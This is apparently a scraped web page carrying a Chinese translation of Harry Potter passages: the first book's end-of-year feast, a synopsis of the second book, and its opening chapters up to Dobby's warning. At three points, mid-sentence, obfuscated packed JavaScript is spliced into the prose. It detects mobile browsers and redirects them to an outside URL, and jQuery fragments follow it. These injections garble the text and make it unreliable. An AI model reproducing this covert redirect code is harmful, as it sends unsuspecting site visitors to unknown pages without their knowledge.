“我不是正在休息嘛,您看,躺在床上,什么也不做。哦,求求您了,庞弗雷夫人...” “哦,好吧,”她说,“可是只准五分钟。” 于是她让罗恩和赫敏进来了。 “哈利!” 赫敏看样子又要伸开双臂搂抱他了,但又及时克制住了自己,这使哈利松了口气,因为他的头仍然很疼。“哦,哈利,我们都以为你肯定要——邓布利多担心极了——” “整个学校都在谈论这件事,”罗恩说,“当时到底是怎么个情况?” 真实的故事比没有根据的谣传更加离奇和惊心动魄,这种情况是非常罕见的,而现在就是这样。哈利把一切原原本本地讲给他们听:奇洛、魔镜、魔法石和伏地魔。罗恩和赫敏听得非常专心,每到惊险的地方,他们就紧张地倒抽冷气,当哈利讲到奇洛的缠头巾下面的那副面孔时,赫敏失声尖叫起来。 “这么说,魔法石没有了?”最后罗恩问道,“勒梅快要死了?” “我也是这么说的,可是邓布利多认为——他说什么来着?‘对于头脑十分清醒的人来说,死亡不过是另一场伟大的冒险。’” “我早就说过他有点神经兮兮的。”罗恩说。他心目中的英雄变得这样不可理喻,他感到非常震惊。 “后来你们俩的情况怎么样?”哈利说。 “噢,我很顺利地返回去了。”赫敏说,“我把罗恩唤醒——很是花了一些时间呢——然后我们飞快地冲向猫头鹰的棚屋,想同邓布利多取得联系,不料却在门厅里碰上了他。他已经知道了——他只说了一句:‘哈利去盯住他了,是吗?’然后就赶紧朝四楼奔去。” “你说,邓布利多是不是有意要你这么做的?”罗恩说,“把你父亲的隐形衣送给你,引导你去做那件事?” “哎呀,”赫敏忍不住说道,“如果他真是这样——我的意思是——那就太可怕了——你很可能被杀死的。” “不,不是这样,”哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338701|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利若有所思地说,“邓布利多是个很有意思的人。我认为他大概想给我一个机会。他似乎对这里发生的事情多多少少都知道一些。我觉得他十分清楚我们打算做什么,他没有阻止我们,反而暗暗地教给我们许多有用的东西。我认为,他让我懂得魔镜的功能绝不是偶然的。他好像认为如果可能的话,我有权面对伏地魔...” “是啊,这就是邓布利多不同凡响的地方。”罗恩骄傲地说,“听着,你明天一定要来参加年终宴会。分数都算出来了,当然了,斯莱特林得了第一名——你错过了最后一场魁地奇比赛,没有你,我们被拉文克劳队打得落花流水——不过宴会上的东西还是挺好吃的。” 就在这时,庞弗雷夫人闯了进来。 “你们已经待了将近十五分钟了,快给我出去。”她坚决地说。 哈利踏踏实实地一觉睡到天亮,觉得元气差不多恢复了。 “我想去参加宴会,”当庞弗雷夫人整理他的一大堆糖果盒时,哈利对她说,“可不可以啊?” “邓布利多教授说允许你去。”她不以为然地说。似乎在她看来,邓布利多教授并没有认识到宴会具有潜在的危险。“又有人来看你了。” “噢,太好了,”哈利说,“是谁?”他话音未落,海格就侧着身子钻进门来。海格每次走进房门,就显得像个庞然大物。他在哈利身旁坐下,看了他一眼,就伤心地哭了起来。 “都——怪我——这个——笨蛋!”他用手捂着脸哭泣着,“是我告诉那个恶棍怎样制服路威的!是我告诉他的!他什么都知道了,就是不知道这个,但我偏偏告诉了他!你差点就没命了!都是为了一只龙蛋!我再也不喝酒了!我应该被赶出去,一辈子做个麻瓜!” “海格!”哈利说。他十分震惊地看到海格因悲哀和悔恨而颤抖,大颗的眼泪渗进他的胡须。“海格,他总有办法打听到的,我们说的是伏地魔啊,即使你不告诉他,他也总有办法知道的。” “你差点就没命了!”海格抽抽噎噎地说,“哦,你别说那个名字!” “我就要说,伏地魔!”哈利大声吼道。他看见海格吓得惊慌失措,才停止了喊叫。“我曾经面对面地和他相遇,我当面叫他的名字。海格,求求你,快活一些吧,我们保住了魔法石,它现在不在了,伏地魔再也不能用它作恶了。吃一块巧克力蛙吧,我有一大堆呢...” 海格用手背擦了擦鼻子,说道:“这倒提醒了我。我也给你带来了一件礼物呢。” “不会是白鼬三明治吧?”哈利担心地问,海格终于勉强地笑出了声。“不是。邓布利多昨天放了我一天假,让我把它整理出来。当然啦,他完全应该把我开除的——行了,这个给你...” 看上去像是一本精美的、皮封面的书。哈利好奇地打开,里面贴满了巫师的照片。在每一页上朝他微笑、挥手的,都是他的父亲和母亲。“我派猫头鹰给你父母的老同学送信,向他们要照片...知道你没有他们的照片...你喜欢吗?” 哈利说不出话来,但海格全明白了。那天晚上,哈利独自下楼去参加年终宴会。刚才庞弗雷夫人大惊小怪地拦住他,坚持要给他再检查一遍身体,所以,当他赶到礼堂时,里面已经坐满了人。 礼堂里用代表斯莱特林的绿色和银色装饰一新,以庆祝他们连续七年赢得了学院杯冠军。主宾席后面的墙上,挂着一条绘着斯莱特林蛇的巨大横幅。 哈利一走进去,礼堂里突然鸦雀无声,然后突然每个人又开始高声说话。他走到格兰芬多的桌子旁,坐在了罗恩和赫敏中间,假装没有注意到人们都站起来盯着他看。幸好,片刻之后,邓布利多也赶到了,礼堂里的嘈杂声渐渐平息下来。 “又是一年过去了!”邓布利多兴高采烈地说,“在尽情享受这些美味佳肴之前,我必须麻烦大家听听一个老头子的陈词滥调。这是多么精彩的一年!你们的小脑瓜里肯定都比过去丰富了一些...前面有整个暑假在等着你们,可以让你们在下学期开始之前,好好把那些东西消化消化,让脑子里腾出空来...现在,据我所知,我们首先必须进行学院杯的颁奖仪式,各学院的具体得分如下:第四名,格兰芬多,三百一十二分;第三名,赫奇帕奇,三百五十二分;拉文克劳四百二十六分,斯莱特林四百七十二分。” 斯莱特林的餐桌上爆发出一阵雷鸣般的欢呼声和跺脚声。哈利看见德拉科‘马尔福用高脚酒杯使劲敲打着桌子,那副样子真让人恶心。 “是啊,是啊,表现不错。”邓布利多说,“不过,最近发生的几件事也必须计算在内。”礼堂里变得非常安静,斯莱特林们的笑容也收敛了一些。 “呃,呃,”邓布利多清了清嗓子,“我还有最后一些分数要分配。让我看看。对了...“第一项——罗恩·韦斯莱先生...”罗恩的脸一下子涨得通红,那样子活像一个被太阳晒于的红萝卜。“...他下赢了许多年来霍格沃茨最精彩的一盘棋,我为此奖励格兰芬多学院五十分。” 格兰芬多们的欢呼声差点把施了魔法的天花板掀翻了。他们头顶上的星星似乎也被震得微微颤抖。可以听见珀西在大声告诉其他级长:“是我弟弟,你们知道的!我最小的弟弟!顺利通过了麦格教授的巨型棋盘阵!” 大家好不容易才又平静下来。“第二项——赫敏·格兰杰小姐...她面对烈火,冷静地进行逻辑推理,我要奖励格兰芬多学院五十分。”赫敏把脸埋在臂弯里;哈利怀疑她肯定是偷偷地哭了。 他们周围的格兰芬多同学都欣喜若狂,在餐桌旁跳上跳下——他们整整上升了一百分!“第三项——哈利·波特...”邓布利多说。礼堂里顿时变得格外寂静。“...他表现出了大无畏的胆量和过人的勇气,为此,我还要奖励格兰芬多学院六十分。” 喧闹声简直震耳欲聋。那些一边把嗓子喊得嘶哑,一边还能在心里计算分数的同学们知道,格兰芬多现在是四百七十二分——和斯莱特林的分数完全一样。他们已经直逼学院杯冠军——如果邓布利多多奖给哈利一分就好了。 邓布利多举起一只手。礼堂里渐渐又安静下来。 “勇气有许多种类,”邓布利多微笑着,“对付敌人我们需要超人的胆量,而要在朋友面前坚持自己的立场,同样也需要很大的勇气。因此,我要奖励纳威·隆巴顿先生十分。” 如果有人此刻站在礼堂外面,可能会以为这里发生了爆炸,格兰芬多餐桌上的欢呼声一浪高过一浪。哈利、罗恩和赫敏站起来高声喝彩,只见纳威惊讶得脸色煞白,一下子就被挤上来拥抱他的人群淹没了。他从来没有给格兰芬多赢过一分啊! 哈利一边欢呼,一边用胳膊肘捅了捅罗恩,然后指指马尔福。看马尔福的样子,即使他刚刚被人施了全身束缚咒,也不会显得比现在更吃惊、更恐慌了。 “这就意味着,”邓布利多不得不大声吼叫,才能盖过雷鸣般的欢呼喝彩,因为就连拉文克劳和赫奇帕奇的学生们,也在庆祝斯莱特林的突然惨败,“我们需要对这里的装饰做一些小小的改变。” 他拍了拍手,立刻,那些绿色的悬垂彩带变成了鲜红色,银色的变成了金色;巨大的斯莱特林蛇隐去了,取而代之的是一头威风凛凛的格兰芬多狮子。 斯内普正在同麦格教授握手,脸上强挤出尴尬的笑容。 他的目光和哈利相遇时,哈利顿时就明白了,斯内普对他的态度丝毫也没有改变。哈利觉得这没有什么可担心的。似乎明年的生活又将恢复正常,至少恢复到霍格沃茨一贯的状态。 这是哈利一生中最美好的夜晚,比赢了魁地奇比赛、欢庆圣诞或打败巨怪的日子还要美好...他永远、永远也不会忘记这个夜晚。 哈利几乎忘了考试成绩还没有公布。那一天终于到来了,没想到,他和罗恩都以很高的分数通过了考试,这使他们感到十分意外。赫敏自然是获得了全年级第一名。就连纳威也侥幸过关了,他草药的成绩不错,大大弥补了在魔药上丢失的分数。他们本来以为,高尔笨得像头猪,为人又自私刻薄,这次大概会被开除,不料他竟然也通过了。这似乎有点美中不足,但是正如罗恩所说,生活中是不可能样样顺心的。 好像是在突然之间,他们的衣柜空了,东西都装到了行李箱里,纳威藏在盥洗室角落里的蟾蜍被人发现了。通知发到了每个学生手里,警告他们放假期间不许使用魔法(“我一直希望他们忘记把这个发给我们。”弗雷德.韦斯莱遗憾地说)。海格负责带领他们登上渡过湖面的船队。现在,他们已经坐上了霍格沃茨特快列车,一路谈笑风生,看着窗外的乡村越来越青翠,越来越整洁。列车驶过一个个麻瓜的城镇,他们吃着比比多味豆,脱掉了身上的巫师长袍,换上夹克衫和短上衣;终于,列车停靠在了国王十字架车站的9又3/4站台。 他们花了很长时间,才全部走出站台。一个干瘪的老警卫守在检票口,一次只允许两个或三个人通过,这样他们就不会一大堆人同时从坚固的墙壁里走出来,引起麻瓜们的注意。 “你今年暑假一定要来我们家里玩,”罗恩说,“你们俩都来——我会派猫头鹰去邀请你们的。” “谢谢,”哈利说,“我确实需要有个盼头。” 他们走向返回麻瓜世界的出路,不断有人从他们身边挤过。其中有些人喊道:“拜拜,哈利!”“再见,波特!” “还是这样出名。”罗恩说着,咧嘴朝他一笑。 “在我要去的地方就不是了,我向你保证。”哈利说。 他、罗恩和赫敏一起通过了出口。“他在那儿,妈妈,他在那儿,快看呀!”是金妮——罗恩的妹妹——但她指的并不是罗恩。 “哈利·波特!”她尖声尖气地叫道,“快看呀,妈妈!我看见了——” “别大声嚷嚷,金妮,对别人指指点点是不礼貌的。”韦斯莱夫人笑眯眯地低头看着他们。“这一年很忙吧?”她说。 “忙极了。”哈利说,“谢谢您送给我的奶糖和毛衣,韦斯莱夫人。”“哦,那没什么,亲爱的。”“我说,你准备好了吧?” 是弗农姨父,他还是那样一张紫红色的脸膛,还是那样一大把胡子,还是用愤怒的目光瞪着哈利。 在这个挤满普通人的车站上,哈利竟然明目张胆地提着一只装着猫头鹰的笼子,真是可恨。 他身后站着佩妮姨妈和达力表哥,他们一看见哈利,就显出一副惊惶不安的表情。 “你们一定是哈利的家人吧!”韦斯莱夫人说。 “也可以这么说吧。”弗农姨父说,“快点,小子,我们可耽搁不起一整天。”他转身走开了。 哈利还要留下来再跟罗恩和赫敏说几句话。“那就过完暑假再见吧。” “祝你假期——嗯——愉快。”赫敏说,她不敢相信地望着弗农姨父的背影,很吃惊世界上居然有这样讨厌的人。 “哦,我会愉快的。”哈利说。他脸上绽开了一个灿烂的笑容,使罗恩和赫敏都感到诧异。“他们不知道我们在家里不许使用魔法,这个暑假,我要好好地拿达力开开心...” 19. 哈利·波特与密室 哈利在姨父姨妈家度过一个痛苦的暑假后,即将回到霍格沃茨。 他正准备打点行装时,小精灵多比前来发出警告:如果哈利重返霍格沃茨,灾难将会临头。但哈利一心想回到魔法学校,便义无反顾地返回了。校园的生活虽然五彩缤纷,但烦恼也会不断。 可怕的是,霍格沃茨的学生接二连三地变成了石头,哈利的好朋友赫敏和罗恩的妹妹金妮也惨遭厄运。于是,哈利决心解开这个谜。 他在盥洗室里发现了一本神秘日记,得知有人从密室里放出了蛇怪,造成了桃金娘的离奇死亡等。于是他来到盥洗室,打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338702|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了密室,解救金妮等人。这时,伏地魔的少年化身——里德尔放出蛇怪,想要杀死哈利。 危急时分,校长邓布利多的凤凰——福克斯带来分院帽,哈利从分院帽中抽出利剑,刺死了蛇怪。最后,哈利用蛇牙刺穿了日记本,日记中的里德尔的记忆也随之毁灭。 20. 最糟糕的生日 这天,女贞路4号的早餐桌上又起了争执。一大早,弗农·德思礼先生就被他外甥哈利屋里的一阵高声怪叫吵醒了。 “这星期是第三次了!”他隔着桌子咆哮道,“如果你管不住那只猫头鹰,就让它滚蛋!” 哈利再次试图解释。“它闷得慌,它在外面飞惯了,要是我可以在晚上放它出去...” “你当我是傻子啊?”弗农姨父吼道,一丝煎鸡蛋在他浓密的胡子上晃荡着。“我知道把一只猫头鹰放出去会有什么后果。”他和他妻子佩妮阴沉地交换了一下眼色。 哈利想反驳,但他的话被表哥达力一声又长又响的饱嗝淹没了。 “我还要一些腊肉。” “煎锅里有的是,宝贝,”佩妮姨妈眼眶湿润地看着她的大块头儿子说道,“我们要抓紧时间把你养胖...学校的伙食让我听着不舒服...” “胡说,我在斯梅廷上学时从来没饿过肚子。”弗农姨父情绪激烈地说,“达力——吃得不差,是不是,儿子?” 达力胖得身上的肉都从座椅的两边挂了下来。他咧嘴一笑,转身对哈利说,“把煎锅递过来。” “你忘了说咒语。”哈利恼火地说。 这样简单的一句话,对家中其他人产生了不可思议的影响。达力倒吸一口冷气,从椅子上栽了下来,整个厨房都被震动了;德思礼太太尖叫一声,迅速捂住嘴巴;德思礼先生跳起来,太阳穴上青筋暴露。 “我的意思是‘请!’”哈利连忙说,“我不是指——” “我没跟你说吗,”姨父厉声怒斥,唾沫星子溅到了桌上,“在我们家不许说那方面的词!” “可我——” “你怎么敢威胁达力!”弗农姨父捶着桌子咆哮道。 “我只是——” “我警告过你!我不能容忍你在我家里提到你的特异功能!” “好吧,”哈利说,“好吧...” 弗农姨父坐了下来,像一头气短的犀牛一样喘着粗气,那双精明的小眼睛紧瞟着哈利。 自从哈利放暑假回家,弗农姨父一直把他当一颗定时炸弹看待,因为哈利不是一个正常的孩子。 实际上,他相当不正常。 哈利波特是一个巫师——刚在霍格沃茨魔法学校上完一年级。如果德思礼对他回家过暑假感到不快,那么他们的不快和哈利的感觉相比,根本不值一提。 他真想念霍格沃茨,想得五脏六腑都发痛。他想念那个城堡,那些秘密通道和幽灵鬼怪,想念他的课程(也许除了魔药老师斯内普的课),还有猫头鹰捎来的信件、大礼堂里的宴会,想念他宿舍楼里的四柱床,想念禁林边上那间小木屋和狩猎场看守海格,更想念魁地奇球——魔法世界里最流行的体育运动(六根高高的门柱、四只会飞的球、十四名骑着扫帚的球员)。 哈利刚一到家,弗农姨父就把他的咒语书、魔杖、长袍、坩埚和最高级的光轮2000锁进了楼梯下那又小又暗的柜子里。哈利会不会因为一个暑假没练习而被学院魁地奇球队开除,德思礼一家才不管呢。 哈利的家庭作业一点都没做,回学校时无法交差,这跟他们有什么关系?德思礼一家是巫师们所说的“麻瓜”(血管里没有一滴巫师的血液)。在他们看来,家里有一个巫师是莫大的耻辱。弗姨父甚至把哈利的猫头鹰海德薇也锁在了它的笼子里,不让它给魔法世界的任何人送信。 哈利跟这家人长得一点儿也不像。弗农姨父膀大腰圆,没有脖子,蓄着异常浓密的大胡子;佩妮姨妈长了一张马脸,骨节粗大;达力头发金黄,皮肤白里透红,体形肥胖。而哈利却身材瘦小,长着一双明亮的绿眼睛,漆黑的头发总是乱蓬蓬的,额头上还有一道细长的闪电形伤疤。 就是这道伤疤使哈利即使在巫师中也是如此与众不同。这道伤疤是哈利神秘过去留下的唯一痕迹,是推测他十一年前为什么会被放在德思礼家门槛上的惟一线索。 哈利一岁时,居然在遭到伏地魔诅咒之后幸存下来。伏地魔是有史以来最厉害的黑巫师,大多数女巫和男巫都不敢提到他的名字。哈利的父母就死在这个黑巫师手下,可是哈利大难不死,只留下了这道闪电形伤疤。而且,不知怎的,好像自那个恶毒的咒语在哈利身上失灵之后,伏地魔的魔力就被摧毁了。 所以,哈利是由他的姨妈和姨父养大的。他在德思礼家住了十年,一直搞不懂他为什么能在无意中导致一些古怪的事情发生,因为德思礼一家只说他的父母死于车祸,他的伤疤也是在车祸中留下的。 一年前,霍格沃茨魔法学校写信给哈利,他才了解到自己的身世。他上了魔法学校,在那里他和他的伤疤赫赫有名...可现在学年结束了,他回到德思辛礼家过暑假,他们把他当成一条在邋遢地方打过滚的狗来对待。 德思礼一家忘记了这一天恰好是哈利的十二岁生日。当然,哈利也没有寄予多么大的希望,他们从来不会送他什么像样的礼物,更别提生日蛋糕了——但是,完全忘掉未免...正在这时,弗农姨父煞有介事地清了清嗓子,说道:“我们都知道,今天是个非常重要的日子。” 哈利抬起头,简直不敢相信自己的耳朵。“今天我可能会做成平生最大的一笔交易。”弗农姨父说。 哈利低下头继续吃面包片。当然啦,他怨忿地想,弗农姨父是在讲那个愚蠢的晚宴。他两星期来张口闭口说的都是这件事。一个有钱的建筑商和他妻子要来吃晚饭,弗农姨父希望那人能订他一大笔货(弗农姨父的公司是做钻机的)。 “我想我们应该把晚上的安排再过一遍,”弗农姨父说,“八点钟大家应该各就各位。佩妮,你应该——?” “在客厅里,”佩妮姨妈应声说,“等着亲切地欢迎他们光临。” “很好,很好。达力?” “我等着给他们开门。”达力堆起一副令人恶心的做作笑容,“我替你们拿着衣服好吗,梅森先生和夫人?” “他们会喜欢他的!”佩妮姨妈欣喜若狂地说。 “好极了,达力。”弗农姨父说。然后他突然转向哈利。“那么你呢?” “我待在我的卧室里,不发出一点儿声音,假装我不在家。”哈利声调平板地回答。 “不错。”弗农姨父恶狠狠地说。“我将把他们带到客厅,引见你——佩妮,并给他们倒饮料。八点一刻——” “我宣布开饭。”佩妮姨妈说。 “达力,你要说——” “我领您上餐室去好吗,梅森夫人?”达力说,一面把他的胖胳膊伸给那位看不见的女士。 “多标准的小绅士!”佩妮姨妈吸着鼻子说。 “你呢?”弗农姨父凶巴巴地问哈利。 “我待在我的卧室里,不发出一点声音,假装我不在家。”哈利无精打采地说。 “对了。现在,我们应该在餐桌上说一些赞美的话。佩妮,你有什么建议吗?” “梅森先生,弗农跟我说您高尔夫球打得棒极了...梅森夫人,请告诉我您的衣服是在哪儿买的...” “非常好...达力?” “这样行不行:‘梅森先生,老师要我们写一写自己最崇拜的人,我就写了您。”这可让佩妮姨妈和哈利都无法承受。佩妮高兴得眼泪直流,紧紧搂住了儿子。哈利则把头藏到了桌子底下,怕他们看到他大笑的样子。 “你呢,哈利?” 哈利直起身,努力绷住脸。 “我待在我的卧室里,不发出一点声音,假装我不在家。” “这就对了。”弗农姨父用力地说,“梅森夫妇根本不知道你,就让这种情况保持下去。佩妮,晚饭之后你领梅森夫人回客厅喝咖啡,我将把话题引到钻机上。要是走运的话,在十点钟的新闻之前我就可以把签字盖章的协议拿到手。明天这个时候我们就能选购在马乔卡的别墅了。” 哈利并不怎么兴奋。他不认为德思礼一家到了马乔卡就会比在女贞路多喜欢他一点儿。 “好——我去城里拿达力和我的礼服。你呢,”他对哈利吼道,“不要在你姨妈洗衣服的时候去碍手碍脚。” 哈利从后门出来。外面天气晴朗,阳光灿烂。他穿过草坪,坐在花园长凳上,压着嗓子唱了起来:“祝我生日快乐...祝我生日快乐...” 没有贺卡,没有礼物,今晚还要他假装自己不存在。他悲伤地注视着树篱。他从未感到这样孤独。他分外想念他最好的朋友罗恩·韦斯莱和赫敏·格兰杰,胜过想念霍格沃茨其他的一切,甚至包括魁地奇球。可他们好像一点儿也不想他。整个暑假谁都没有给他写信,罗恩还说要请哈利去他家做客呢。 一次又一次,哈利差点儿要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338703|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用魔法打开海德薇的笼子,让它捎封信给罗恩和赫敏。但这太冒险了。未成年的巫师是不能在校外使用魔法的。哈利没有把这个规定告诉德思礼一家,他知道,这家人只是害怕他把他们全变成金龟子,才没有把他和魔杖、飞天扫帚一起关进楼梯下的暗柜里。 回家后的头两个星期,哈利喜欢假装着嘴里念念有词,然后看达力拼命搬动他那两条胖腿,尽快往屋外跑。可是罗恩和赫敏迟迟不给他来信,使哈利觉得自己和魔法世界断了联系,连捉弄达力也失去了乐趣——现在罗恩和赫敏连他的生日都忘了。 只要能换得霍格沃茨的一点音信,不管来自哪个女巫或男巫,他什么都会豁出去。他甚至乐意看一眼他的仇敌德拉科马尔福,只要能证明这一切不是一场梦...他在霍格沃茨的这一年并不都是好玩有趣的。 上学期末,哈利与伏地魔本人正面相遇。伏地魔虽然大不如从前,但依然狠毒可怕,阴险狡猾,并决心要恢复自己的魔力。哈利又一次逃脱了伏地魔的魔爪,但是很险。即使现在,已经过去好几个星期了,哈利还会在半夜惊醒,浑身冷汗,想着伏地魔这时会在哪里,记起他那青灰色的脸、圆睁的疯狂的眼睛...哈利突然坐直了身子。他一直心不在焉地注视着树篱——可现在树篱正注视着他。树叶丛中闪动着两只大得出奇的绿眼睛。 哈利跳了起来,这时草坪对面飘过来一声嘲笑。 “我知道今天是什么日子。”达力摇摇摆摆地走过来。 那对大眼睛忽闪几下,消失了。 “什么?”哈利说,眼睛还盯着那个地方。 “我知道今天是什么日子。”达力又说了一遍,走到他旁边。 “很好,”哈利说,“你终于学会了数星期几。” “今天是你的生日!”达力讥讽地说,“你居然没有收到贺卡?你在那个鬼地方连个朋友都没有吗?” “最好别让你妈妈听到你说我的学校。”哈利冷冷地说。 达力提了提裤子,那裤子顺着他的胖腿往下滑。 “你盯着树篱干什么?”他怀疑地问。 “我在想用什么咒语使它燃烧起来。”哈利说。 达力踉踉跄跄倒退了几步,胖脸上显出惊恐的表情。 “你不——不能——我爸说不许你使魔法——他说要把你赶出去——你没有地方去——没有朋友收留你——” “吉格利玻克利!”哈利厉声说道,“霍克斯波克斯...奇格利鬼格利...” “妈——妈!”达力嚎叫起来,跌跌撞撞地朝屋里奔去。“妈——妈!他又在——干那个了!” 哈利为这片刻的开心付出了很大的代价。由于达力和树篱都安然无恙,佩妮姨妈知道他并没有真的施展魔法,但她仍然用沾着肥皂水的煎锅朝他劈头打来,幸亏他躲得快。然后她支使他去干活,不干完不许吃东西。 达力吃着冰淇淋,在一旁晃来晃去地看着哈利擦窗户,洗汽车,修整草坪,整理花圃,给玫瑰剪枝浇水,重新油漆花园长凳。烈日当头,晒得哈利后脖颈发烫。哈利知道他不应该上达力的钩,可是达力说中了哈利的心事...也许他在霍格沃茨根本没有朋友... “但愿他们能看到大名鼎鼎的哈利波特现在的样子。”往花坛里撒粪肥的时候,他发狠地想道。他腰酸背疼,汗水顺着脸颊往下流。 一直到晚上七点半,才终于听到佩妮姨妈喊他,他已经精疲力竭。 “进来!踩着报纸走!”哈利高兴地走进阴凉的、擦得闪闪发亮的厨房里。冰箱顶上放着今天晚餐的布丁:好大一堆掼奶油,还放了撒糖霜的堇菜。一大块烤肉在烤箱里咝咝作响。 “快吃!海森他们快要来了!”佩妮姨妈严厉地说,指着厨房桌子上的两块面包和一堆奶酪。她已经穿上了一件浅橙色的鸡尾酒会礼服。哈利洗了手,匆匆吞下了他那点可怜的晚饭。 他刚一吃完,佩妮姨妈就把盘子收走了。“上楼!快!”经过客厅门口时,哈利瞥了一眼穿着礼服、打着领结的弗农姨父和达力。 他刚走到楼上,门铃就响了,弗农姨父凶巴巴的脸出现在楼梯下。“记着,小子——你要敢发出一点儿声音...” 哈利踮着脚走到自己卧室门口,悄悄溜进去,关上门,转身想要一头扑倒在他的床上。问题是,床上已经坐了一个人。 21. 多比的警告 哈利差点儿没叫出声来。床上的那个小怪物长着两只蝙蝠似的大耳朵,一对突出的绿眼睛有网球那么大。 哈利马上想到,这就是早上在花园树篱外看他的那双眼睛。 他们对视着,哈利听到达力的声音从门厅传来。 “我替你们拿着衣服好吗,梅森先生和夫人?” 那怪物从床上滑下来,深深鞠了一躬,细长的鼻子都碰到了地毯上。哈利注意到他身上穿的像一只旧枕套,在胳博和腿的地方开了几个洞。 “哦——你好。”哈利不自然地说。 “哈利·波特!”那怪物尖声叫道,哈利想楼下肯定能听到。“多比一直想见您,先生...不胜荣幸...” “谢——谢谢。”哈利贴着墙壁挪动,坐到他桌前的椅子上,挨着在大笼子里睡觉的海德薇。他想问“你是什么”?但觉得这听起来太不礼貌,就问“你是谁”? “多比,先生。就叫多比,家养小精灵多比。”那怪物说。 “哦——是吗?”哈利说,“哦——我不想失礼,可是——此刻在我的卧室里接待一位家养小精灵有些不太合适。” 客厅传来了佩妮姨妈虚伪的高声大笑。小精灵垂下了头。 “我不是不高兴见你,”哈利赶忙说,“可是,哦,你来这儿有什么特别的原因吗?” “哦,有的,先生,”多比热切地说,“多比来告诉您,先生...不好说,先生...多比不知道从哪里说起...” “坐下吧。”哈利指了指床,礼貌地说。没想到小精灵突然痛哭流涕,把哈利吓了一跳,他哭的声音很大。 “坐——坐下!”多比呜咽道,“从来...从来没有... ” 哈利仿佛听到楼下的声音变得有些结巴。 “对不起,”他小声说,“我没想冒犯你。” “冒犯多比!”小精灵哽咽地说,“从来没有一位巫师让多比坐下——像对待平等的人那样——” 哈利竭力在说“嘘”的同时作出抚慰的表情,领多比回到床上坐下。多比坐在那儿打嗝儿,看上去像个丑陋的大娃娃。最后他终于控制住自己,用他那双泪汪汪的大眼睛充满敬爱地凝视着哈利。 “你大概没遇到多少正派的巫师吧。”哈利想让他高兴一些。 多比摇了摇头,然后冷不防跳了起来,用脑袋疯狂地撞着窗户,嘴里喊着:“坏多比!坏多比!” “别这样——你这是干什么?”哈利着急地小声说,跳起来把多比拉回床上。海德薇被吵醒了,发出一声格外响亮的尖叫,在笼子里疯狂地乱扑乱撞。 “多比要惩罚自己,先生。”小精灵说,他的眼睛已经有点儿对在一起了。“多比几乎说了主人家的坏话,先生...” “主人家?” “多比服侍的那个巫师家,先生...多比是家养小精灵——必须永远服侍一户人家...” “他们知道你在这儿吗?”哈利好奇地问。 多比哆嗦了一下。 “哦,不,先生,他们不知道...多比因为来见您,要对自己进行最严厉的惩罚。多比将把自己的耳朵关在烤箱门里。万一给他们知道,先生——” “可如果你把耳朵关在烤箱门里,他们不会发现吗?” “多比猜想不会,先生。多比总是为一些事惩罚自己,先生。他们让多比这样做,先生。有时候他们提醒我更厉害地惩罚自己呢...” “你为什么不逃走呢?” “家养小精灵必须由主人放走。可主人永远不会放走多比...多比将在主人家做到死,先生...” 哈利目瞪口呆,他说:“要我在这儿多待四个星期,我都觉得受不了。这样比起来,德思礼一家还算是有些人情味的。没有人能帮你吗?我能帮你吗?” 哈利几乎是立刻就后悔他说了这句话。多比再次感动得呜呜大哭。 “拜托你,”哈利紧张地说,“小点儿声。要是给德思扎一家听到,要是他们知道你在这儿...” “哈利·波特问他能不能帮助多比...多比早就听说了您的伟大,先生,可您的仁慈,多比以前还不了解...” 哈利感到脸上发烧,忙说:“你听到的那些都是胡说,我在霍格沃茨连年级第一名都排不上,第一名是赫敏,她——” 但他很快住了口,一想起赫敏他就感到痛苦。 “哈利·波特这样谦虚,”多比崇敬地说,两只大圆眼睛闪着光,“哈利·波特不说他战胜那个连名字都不能提的魔头的事迹。” “伏地魔?”哈利说。 多比用手捂住耳朵,哀号道:“啊,别说那个名字,先生!别说那个名字!” “对不起,”哈利马上说,“我知道许多人不喜欢他——我的朋友罗恩...” 他又停住了。想到罗恩也让人痛苦。 多比凑近哈利,他的眼睛大得像车灯。 “多比听说,”他嘶哑地说,“哈利·波特几星期前又遇见了那个魔头...哈利·波特再次逃脱了。” 哈利点了点头。多比顿时热泪盈眶。 “啊,先生,”他抽抽搭搭,用肮脏破烂的枕套角抹了抹脸,“哈利·波特英勇无畏!他已经闯过了这么多的险关!可是多比想来保护哈利·波特,来给他捎个信,即使多比过后必须把自己的耳朵关在烤箱门里...多比想说,哈利·波特不能回霍格沃茨了。” 屋里一片安静,只听见楼下刀叉叮当之声,还有弗农姨父的咕噜声。 “什——什么?”哈利大吃一惊,“可我必须回去——九月一号开学,这是我生活的希望。你不知道我在这里过的是什么日子。我不属于这儿。我属于你们的世界——属于霍格沃茨。” 